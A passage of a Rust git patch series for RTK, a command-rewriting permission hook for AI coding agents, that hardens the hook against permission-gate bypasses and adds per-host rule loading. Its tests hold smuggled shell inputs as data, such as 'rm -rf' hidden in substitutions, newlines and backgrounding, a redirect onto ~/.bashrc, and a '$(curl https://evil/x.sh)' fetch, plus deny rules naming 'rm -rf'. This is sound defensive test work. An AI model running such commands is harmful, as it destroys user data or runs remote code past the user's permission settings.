cursor_allow(rewritten: &str) -> String { + json!({ "continue": true, - "permission": decision, + "permission": "allow", "updated_input": { "command": rewritten } - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + }) + .to_string() } #[cfg(test)] @@ -528,21 +531,9 @@ fn run_cursor_inner_with_rules( }; let verdict = permissions::check_command_with_rules(&cmd, deny_rules, ask_rules, allow_rules); - if verdict == PermissionVerdict::Deny { - return "{}".to_string(); - } - - match get_rewritten(&cmd) { - Some(rewritten) => { - let decision = "allow"; - let output = json!({ - "continue": true, - "permission": decision, - "updated_input": { "command": rewritten } - }); - output.to_string() - } - None => "{}".to_string(), + match decide_from_verdict(&cmd, verdict) { + HookDecision::AllowRewrite(rewritten) => cursor_allow(&rewritten), + _ => "{}".to_string(), } } @@ -649,26 +640,26 @@ mod tests { } #[test] - fn test_copilot_cli_default_verdict_omits_permission_decision() { - let r = copilot_cli_response_for_verdict( - "cargo test", + fn test_copilot_cli_ask_rewrite_omits_permission_decision() { + let r = copilot_cli_response_from_decision( &cli_args("cargo test"), - PermissionVerdict::Default, + HookDecision::AskRewrite("rtk cargo test".into()), + "cargo test", ) .unwrap(); assert!( r.get("permissionDecision").is_none(), - "Default must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" + "AskRewrite must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" ); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } #[test] - fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { - let r = copilot_cli_response_for_verdict( - "cargo test", + fn test_copilot_cli_allow_rewrite_returns_allow() { + let r = copilot_cli_response_from_decision( &cli_args("cargo test"), - PermissionVerdict::Allow, + HookDecision::AllowRewrite("rtk cargo test".into()), + "cargo test", ) .unwrap(); assert_eq!(r["permissionDecision"], "allow"); @@ -676,13 +667,29 @@ mod tests { } #[test] - fn test_copilot_cli_deny_verdict_returns_none() { - assert!(copilot_cli_response_for_verdict( - "cargo test", - &cli_args("cargo test"), - PermissionVerdict::Deny - ) - .is_none()); + fn test_copilot_cli_deny_returns_none() { + assert!( + copilot_cli_response_from_decision( + &cli_args("cargo test"), + HookDecision::Deny, + "cargo test", + ) + .is_none() + ); + } + + #[test] + fn test_copilot_cli_defer_returns_none() { + // Defer covers both "no rewrite available" and the unattestable-construct gate. + // The hook must emit NO modifiedArgs for CVE bypass forms — no laundering. + assert!( + copilot_cli_response_from_decision( + &cli_args("git status & rm -rf /tmp/x"), + HookDecision::Defer, + "git status & rm -rf /tmp/x", + ) + .is_none() + ); } #[test] @@ -722,10 +729,10 @@ mod tests { "initial_wait": 30, "mode": "sync" }); - let r = copilot_cli_response_for_verdict( - "cargo install ripgrep", + let r = copilot_cli_response_from_decision( &args, - PermissionVerdict::Default, + HookDecision::AskRewrite("rtk cargo install ripgrep".into()), + "cargo install ripgrep", ) .unwrap(); let modified = &r["modifiedArgs"]; @@ -848,6 +855,26 @@ mod tests { assert!(run_claude_inner(&claude_input("htop")).is_none()); } + #[test] + fn test_claude_substitution_not_rewritten() { + // A substitution payload must never be rewritten into updatedInput; + // RTK skips so Claude Code evaluates the original command natively. + assert!(run_claude_inner(&claude_input("git status `rm -rf /tmp/x`")).is_none()); + assert!(run_claude_inner(&claude_input("git status $(rm -rf /tmp/x)")).is_none()); + assert!(run_claude_inner(&claude_input("git log --pretty=\"$(rm -rf /tmp/x)\"")).is_none()); + } + + #[test] + fn test_claude_file_redirect_not_rewritten() { + assert!(run_claude_inner(&claude_input("git log > /tmp/out.txt")).is_none()); + } + + #[test] + fn test_claude_fd_dup_redirect_still_rewritten() { + // `2>&1` is attestable — the rewrite proceeds as normal. + assert!(run_claude_inner(&claude_input("git status 2>&1")).is_some()); + } + #[test] fn test_claude_heredoc_passthrough() { assert!(run_claude_inner(&claude_input("cat < String { + run_cursor_inner_with_rules(input, &[], &[], &["*".to_string()]) + } + #[test] fn test_cursor_rewrite_flat_format() { - let result = run_cursor_inner(&cursor_input("git status")); + let result = run_cursor_allowed(&cursor_input("git status")); let v: Value = serde_json::from_str(&result).unwrap(); // Cursor preToolUse expects allow/deny for rewrite application. assert_eq!(v["permission"], "allow"); @@ -938,6 +969,34 @@ mod tests { assert_eq!(v["continue"], true); } + #[test] + fn test_cursor_no_allow_rule_defers() { + assert_eq!(run_cursor_inner(&cursor_input("git status")), "{}"); + } + + #[test] + fn test_cursor_substitution_defers_even_when_allowed() { + assert_eq!( + run_cursor_allowed(&cursor_input("git status `rm -rf /tmp/x`")), + "{}" + ); + assert_eq!( + run_cursor_allowed(&cursor_input("git status $(rm -rf /tmp/x)")), + "{}" + ); + } + + #[test] + fn test_cursor_unallowed_segment_defers() { + let out = run_cursor_inner_with_rules( + &cursor_input("git status && rm -rf /tmp/x"), + &[], + &[], + &["git *".to_string()], + ); + assert_eq!(out, "{}"); + } + #[test] fn test_cursor_passthrough_empty_json() { let result = run_cursor_inner(&cursor_input("htop")); @@ -964,7 +1023,7 @@ mod tests { #[test] fn test_cursor_no_hook_specific_output() { - let result = run_cursor_inner(&cursor_input("cargo test")); + let result = run_cursor_allowed(&cursor_input("cargo test")); let v: Value = serde_json::from_str(&result).unwrap(); assert!(v.get("hookSpecificOutput").is_none()); assert_eq!(v["permission"], "allow"); @@ -974,7 +1033,7 @@ mod tests { #[test] fn test_cursor_compound_rewrite_includes_continue() { let cmd = "cd \"/tmp/proj\" && git status"; - let result = run_cursor_inner(&cursor_input(cmd)); + let result = run_cursor_allowed(&cursor_input(cmd)); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -991,7 +1050,7 @@ mod tests { // the hook returned `{}` and the rewrite became a silent no-op. let payload = cursor_input("git status"); let with_single_bom = format!("\u{feff}{}", payload); - let result = run_cursor_inner(&with_single_bom); + let result = run_cursor_allowed(&with_single_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -1006,7 +1065,7 @@ mod tests { // the real-world payload shape the loop needs to survive. let payload = cursor_input("git status"); let with_double_bom = format!("\u{feff}\u{feff}{}", payload); - let result = run_cursor_inner(&with_double_bom); + let result = run_cursor_allowed(&with_double_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -1123,4 +1182,137 @@ mod tests { "cargo test should be rewritable when not denied" ); } + + // --- Shared decision flow (all hosts route through this) --- + + fn decide_with_rules( + cmd: &str, + deny: &[String], + ask: &[String], + allow: &[String], + ) -> HookDecision { + let verdict = permissions::check_command_with_rules(cmd, deny, ask, allow); + decide_from_verdict(cmd, verdict) + } + + fn all_allowed() -> Vec { + vec!["*".to_string()] + } + + #[test] + fn test_decide_allow_for_attestable_allowed_command() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + #[test] + fn test_decide_ask_for_default_verdict() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &[]), + HookDecision::AskRewrite(_) + )); + } + + #[test] + fn test_decide_deny() { + assert!(matches!( + decide_with_rules( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &all_allowed() + ), + HookDecision::Deny + )); + } + + #[test] + fn test_decide_defer_for_substitution_even_when_allowed() { + for cmd in [ + "git status `rm -rf /tmp/x`", + "git status $(rm -rf /tmp/x)", + "git log --pretty=\"$(rm -rf /tmp/x)\"", + ] { + assert!( + matches!( + decide_with_rules(cmd, &[], &[], &all_allowed()), + HookDecision::Defer + ), + "expected Defer for {cmd}" + ); + } + } + + #[test] + fn test_decide_defer_for_file_redirect() { + assert!(matches!( + decide_with_rules("git log > /tmp/out.txt", &[], &[], &all_allowed()), + HookDecision::Defer + )); + } + + #[test] + fn test_decide_allow_for_fd_dup_redirect() { + assert!(matches!( + decide_with_rules("git status 2>&1", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + // --- Gemini rendering --- + + fn gemini_render(cmd: &str, deny: &[String], ask: &[String], allow: &[String]) -> String { + match decide_with_rules(cmd, deny, ask, allow) { + HookDecision::Deny => { + r#"{"decision":"deny","reason":"Blocked by RTK permission rule"}"#.to_string() + } + HookDecision::AllowRewrite(r) => gemini_json("allow", Some(&r)), + HookDecision::AskRewrite(r) => gemini_json("ask_user", Some(&r)), + HookDecision::Defer => gemini_json("ask_user", None), + } + } + + #[test] + fn test_gemini_allow_emits_rewrite() { + let v: Value = + serde_json::from_str(&gemini_render("git status", &[], &[], &all_allowed())).unwrap(); + assert_eq!(v["decision"], "allow"); + assert_eq!( + v["hookSpecificOutput"]["tool_input"]["command"], + "rtk git status" + ); + } + + #[test] + fn test_gemini_default_asks_user() { + let v: Value = serde_json::from_str(&gemini_render("git status", &[], &[], &[])).unwrap(); + assert_eq!(v["decision"], "ask_user"); + } + + #[test] + fn test_gemini_substitution_asks_user_without_rewrite() { + let v: Value = serde_json::from_str(&gemini_render( + "git status `rm -rf /tmp/x`", + &[], + &[], + &all_allowed(), + )) + .unwrap(); + assert_eq!(v["decision"], "ask_user"); + assert!(v.get("hookSpecificOutput").is_none()); + } + + #[test] + fn test_gemini_deny_decision() { + let v: Value = serde_json::from_str(&gemini_render( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &[], + )) + .unwrap(); + assert_eq!(v["decision"], "deny"); + } } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 71536b0e1a..9519cfcd83 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,6 +1,6 @@ use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; -use crate::discover::lexer::split_on_operators; +use crate::discover::lexer::split_for_permissions; use serde_json::Value; use std::path::PathBuf; @@ -35,6 +35,22 @@ pub(crate) fn check_command_with_rules( allow_rules: &[String], ) -> PermissionVerdict { let segments = split_compound_command(cmd); + + // Deny takes highest priority and pre-empts every other construct. + for segment in &segments { + let segment = segment.trim(); + for pattern in deny_rules { + if command_matches_pattern(segment, pattern) { + return PermissionVerdict::Deny; + } + } + } + + // Can't decompose substitution / file-target redirects — never auto-allow. + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return PermissionVerdict::Ask; + } + let mut any_ask = false; // Every non-empty segment must independently match an allow rule for the // compound command to receive Allow. See issue #1213: previously a single @@ -49,13 +65,6 @@ pub(crate) fn check_command_with_rules( } saw_segment = true; - // Deny takes highest priority — any segment matching Deny blocks the whole chain. - for pattern in deny_rules { - if command_matches_pattern(segment, pattern) { - return PermissionVerdict::Deny; - } - } - // Ask — if any segment matches an ask rule, the final verdict is Ask. if !any_ask { for pattern in ask_rules { @@ -288,7 +297,7 @@ fn glob_matches(cmd: &str, pattern: &str) -> bool { } fn split_compound_command(cmd: &str) -> Vec<&str> { - split_on_operators(cmd, false) + split_for_permissions(cmd) } #[cfg(test)] @@ -704,4 +713,134 @@ mod tests { PermissionVerdict::Ask ); } + + // --- Permission-gate bypass hardening ----------------------------------- + + #[test] + fn test_newline_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_newline_hidden_command_not_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &[], &[], &allow), + PermissionVerdict::Default + ); + } + + #[test] + fn test_background_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status & rm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + "git log --pretty=$(rm -rf ~)", + "git status `whoami`", + "git diff $(curl https://evil/x.sh)", + ] { + assert_eq!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Ask, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_double_quoted_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + r#"git log --pretty="$(rm -rf ~)""#, + r#"git log --pretty="`rm -rf ~`""#, + ] { + assert_ne!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Allow, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_single_quoted_substitution_is_literal() { + let allow = vec!["echo *".to_string()]; + assert_eq!( + check_command_with_rules("echo '$(rm -rf ~)'", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_file_redirect_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), + PermissionVerdict::Ask + ); + } + + #[test] + fn test_legitimate_multiline_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("git status\ncargo build", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_subshell_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("(git status; cargo build)", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_background_allow() { + let allow = vec!["cargo *".to_string()]; + assert_eq!( + check_command_with_rules("cargo build &", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_fd_dup_redirect_stays_allow() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status 2>&1", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("git log 2>/dev/null", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_deny_not_evaded_by_trailing_fd_dup() { + let deny = vec!["git push --force".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git push --force 2>&1", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } } diff --git a/src/hooks/rewrite_cmd.rs b/src/hooks/rewrite_cmd.rs index 215693be6b..685aa3015c 100644 --- a/src/hooks/rewrite_cmd.rs +++ b/src/hooks/rewrite_cmd.rs @@ -20,32 +20,47 @@ pub fn run(cmd: &str) -> anyhow::Result<()> { .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) .unwrap_or_default(); - // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + match evaluate(cmd, &excluded, &transparent_prefixes) { + RewriteOutcome::Allow(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + Ok(()) + } + RewriteOutcome::Ask(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + std::process::exit(3); + } + RewriteOutcome::Deny => std::process::exit(2), + RewriteOutcome::Passthrough => std::process::exit(1), + } +} + +#[derive(Debug, PartialEq)] +enum RewriteOutcome { + Allow(String), + Passthrough, + Deny, + Ask(String), +} + +fn evaluate(cmd: &str, excluded: &[String], transparent_prefixes: &[String]) -> RewriteOutcome { let verdict = check_command(cmd); if verdict == PermissionVerdict::Deny { - std::process::exit(2); + return RewriteOutcome::Deny; } - match registry::rewrite_command(cmd, &excluded, &transparent_prefixes) { + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return RewriteOutcome::Passthrough; + } + + match registry::rewrite_command(cmd, excluded, transparent_prefixes) { Some(rewritten) => match verdict { - PermissionVerdict::Allow => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - Ok(()) - } - PermissionVerdict::Ask | PermissionVerdict::Default => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - std::process::exit(3); - } - PermissionVerdict::Deny => unreachable!(), + PermissionVerdict::Allow => RewriteOutcome::Allow(rewritten), + _ => RewriteOutcome::Ask(rewritten), }, - None => { - // No RTK equivalent. Exit 1 = passthrough. - // Claude Code independently evaluates its own ask rules on the original cmd. - std::process::exit(1); - } + None => RewriteOutcome::Passthrough, } } @@ -75,6 +90,58 @@ mod tests { ); } + mod unattestable_passthrough { + use super::super::{evaluate, RewriteOutcome}; + + #[test] + fn test_backtick_substitution_passthrough() { + assert_eq!( + evaluate("git status `rm -rf /tmp/x`", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_dollar_substitution_passthrough() { + assert_eq!( + evaluate("git status $(rm -rf /tmp/x)", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_double_quoted_substitution_passthrough() { + assert_eq!( + evaluate("git log --pretty=\"$(rm -rf /tmp/x)\"", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_file_redirect_passthrough() { + assert_eq!( + evaluate("git log > /tmp/out.txt", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_fd_dup_redirect_still_rewrites() { + assert!(matches!( + evaluate("git status 2>&1", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + + #[test] + fn test_plain_command_still_rewrites() { + assert!(matches!( + evaluate("git status", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + } + /// SECURITY: Verify the exit code protocol for permission verdicts. /// /// The bash hook (.claude/hooks/rtk-rewrite.sh) interprets exit codes as: From a4bb55efa9be1b0bf69ccc2cff9ddcbf2af7a48d Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:15:19 +0200 Subject: [PATCH 186/257] fix(permissions): cursor and gemini use correct permissions settings file - --- src/hooks/hook_cmd.rs | 21 ++++++--- src/hooks/permissions.rs | 93 +++++++++++++++++++++++++++++++++++++++- 2 files changed, 105 insertions(+), 9 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36fc353e58..7a6b06797b 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -146,12 +146,12 @@ fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { } } -fn decide_hook_action(cmd: &str) -> HookDecision { - decide_from_verdict(cmd, permissions::check_command(cmd)) +fn decide_hook_action(cmd: &str, host: permissions::Host) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command_for(cmd, host)) } fn handle_vscode(cmd: &str) -> Result<()> { - let (decision, rewritten) = match decide_hook_action(cmd) { + let (decision, rewritten) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { audit_log("deny", cmd, ""); return Ok(()); @@ -183,7 +183,14 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - copilot_cli_response_from_decision(args, decide_hook_action(cmd), cmd) + // Copilot CLI v1.0.54 itself reads `.claude/settings.json` for permission + // rules (see the binary), so routing through `Host::Claude` keeps RTK's + // verdict consistent with what Copilot would have decided on its own. + copilot_cli_response_from_decision( + args, + decide_hook_action(cmd, permissions::Host::Claude), + cmd, + ) } fn copilot_cli_response_from_decision( @@ -243,7 +250,7 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - match decide_hook_action(cmd) { + match decide_hook_action(cmd, permissions::Host::Gemini) { HookDecision::Deny => { let _ = writeln!( io::stdout(), @@ -345,7 +352,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let (rewritten, allow) = match decide_hook_action(cmd) { + let (rewritten, allow) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { return PayloadAction::Skip { reason: "skip:deny_rule", @@ -478,7 +485,7 @@ pub fn run_cursor() -> Result<()> { } }; - let output = match decide_hook_action(&cmd) { + let output = match decide_hook_action(&cmd, permissions::Host::Cursor) { HookDecision::AllowRewrite(rewritten) => { audit_log("rewrite", &cmd, &rewritten); cursor_allow(&rewritten) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 9519cfcd83..26ad9adf0b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,4 +1,4 @@ -use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; +use super::constants::{CLAUDE_DIR, CURSOR_DIR, GEMINI_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; use crate::discover::lexer::split_for_permissions; use serde_json::Value; @@ -23,7 +23,23 @@ pub enum PermissionVerdict { /// Returns `Default` when no rules match — callers should treat this as ask /// to match Claude Code's least-privilege default. pub fn check_command(cmd: &str) -> PermissionVerdict { - let (deny_rules, ask_rules, allow_rules) = load_permission_rules(); + check_command_for(cmd, Host::Claude) +} + +/// The agent host whose own permission settings should be consulted. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Host { + Claude, + Cursor, + Gemini, +} + +pub fn check_command_for(cmd: &str, host: Host) -> PermissionVerdict { + let (deny_rules, ask_rules, allow_rules) = match host { + Host::Claude => load_permission_rules(), + Host::Cursor => load_cursor_rules(), + Host::Gemini => load_gemini_rules(), + }; check_command_with_rules(cmd, &deny_rules, &ask_rules, &allow_rules) } @@ -167,6 +183,79 @@ fn get_settings_paths() -> Vec { paths } +fn read_json(path: &std::path::Path) -> Option { + let content = std::fs::read_to_string(path).ok()?; + match serde_json::from_str::(&content) { + Ok(v) => Some(v), + Err(_) => { + eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + None + } + } +} + +fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: &mut Vec) { + let Some(arr) = rules_value.and_then(|v| v.as_array()) else { + return; + }; + for rule in arr.iter().filter_map(|r| r.as_str()) { + for pre in prefixes { + let bare = &pre[..pre.len() - 1]; + if rule == bare { + target.push("*".to_string()); + break; + } + if let Some(inner) = rule.strip_prefix(pre).and_then(|s| s.strip_suffix(')')) { + target.push(inner.to_string()); + break; + } + } + } +} + +/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. +/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +fn load_cursor_rules() -> (Vec, Vec, Vec) { + let mut deny = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(CURSOR_DIR).join("cli-config.json")); + } + if let Some(root) = find_project_root() { + paths.push(root.join(CURSOR_DIR).join("cli.json")); + } + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(perms) = json.get("permissions") { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); + } + } + (deny, Vec::new(), allow) +} + +/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. +/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. +fn load_gemini_rules() -> (Vec, Vec, Vec) { + let mut ask = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + if let Some(root) = find_project_root() { + paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + let shells = ["run_shell_command(", "ShellTool("]; + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(tools) = json.get("tools") { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); + } + } + (Vec::new(), ask, allow) +} + /// Locate the project root by walking up from CWD looking for `.claude/`. /// /// Falls back to `git rev-parse --show-toplevel` if not found via directory walk. From 1ccf6e3da72b6c2feff43bbc4d9fc3ed2e4cd083 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:20:37 +0200 Subject: [PATCH 187/257] fix(permissions): add test for cursor and gemini settings perm --- src/hooks/permissions.rs | 46 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 26ad9adf0b..d06eb98f6b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -188,7 +188,10 @@ fn read_json(path: &std::path::Path) -> Option { match serde_json::from_str::(&content) { Ok(v) => Some(v), Err(_) => { - eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + eprintln!( + "[rtk] warning: failed to parse permissions from {}", + path.display() + ); None } } @@ -932,4 +935,45 @@ mod tests { PermissionVerdict::Deny ); } + + // --- Per-host rule extraction --- + + #[test] + fn test_wrapped_rules_cursor_shell_only() { + let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["Shell("], &mut out); + assert_eq!(out, vec!["git", "curl:*", "npm test"]); + } + + #[test] + fn test_wrapped_rules_gemini_shell_variants() { + let v = serde_json::json!([ + "run_shell_command(git)", + "ShellTool(npm test)", + "read_file", + "run_shell_command" + ]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["run_shell_command(", "ShellTool("], &mut out); + assert_eq!(out, vec!["git", "npm test", "*"]); + } + + #[test] + fn test_wrapped_rules_extracted_patterns_match() { + let mut allow = Vec::new(); + append_wrapped_rules( + Some(&serde_json::json!(["Shell(git)"])), + &["Shell("], + &mut allow, + ); + assert_eq!( + check_command_with_rules("git status", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("rm -rf /", &[], &[], &allow), + PermissionVerdict::Default + ); + } } From 4c9b14ef54a49b874c6b3b38e30251712335ba44 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:28:20 +0200 Subject: [PATCH 188/257] refacto(permissions): fmt --- src/hooks/permissions.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index d06eb98f6b..f9b7b299d2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -940,7 +940,12 @@ mod tests { #[test] fn test_wrapped_rules_cursor_shell_only() { - let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let v = serde_json::json!([ + "Shell(git)", + "Shell(curl:*)", + "Read(src/**)", + "Shell(npm test)" + ]); let mut out = Vec::new(); append_wrapped_rules(Some(&v), &["Shell("], &mut out); assert_eq!(out, vec!["git", "curl:*", "npm test"]); From f88b6bec1323265cfced77c449bd795f2506cc90 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:55:00 +0200 Subject: [PATCH 189/257] fix(permissions): project-first config lookup for Gemini/Cursor --- src/hooks/permissions.rs | 50 ++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 28 deletions(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index f9b7b299d2..4d068d7f0d 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,45 +216,39 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. -/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +// Project config takes priority; global is the fallback when there is no project config. +fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(dir).join(project_file)) { + return Some(v); + } + } + read_json(&dirs::home_dir()?.join(dir).join(global_file)) +} + fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(CURSOR_DIR).join("cli-config.json")); - } - if let Some(root) = find_project_root() { - paths.push(root.join(CURSOR_DIR).join("cli.json")); - } - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(perms) = json.get("permissions") { - append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); - append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); - } + if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + .as_ref() + .and_then(|j| j.get("permissions")) + { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); } (deny, Vec::new(), allow) } -/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. -/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); - } - if let Some(root) = find_project_root() { - paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); - } let shells = ["run_shell_command(", "ShellTool("]; - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(tools) = json.get("tools") { - append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); - append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); - } + if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) + .as_ref() + .and_then(|j| j.get("tools")) + { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } (Vec::new(), ask, allow) } From e16aa26162a95bd99c954c0236b5353ffe89db00 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 20:56:44 +0200 Subject: [PATCH 190/257] fix(permissions): >&file redirect no allow + scope 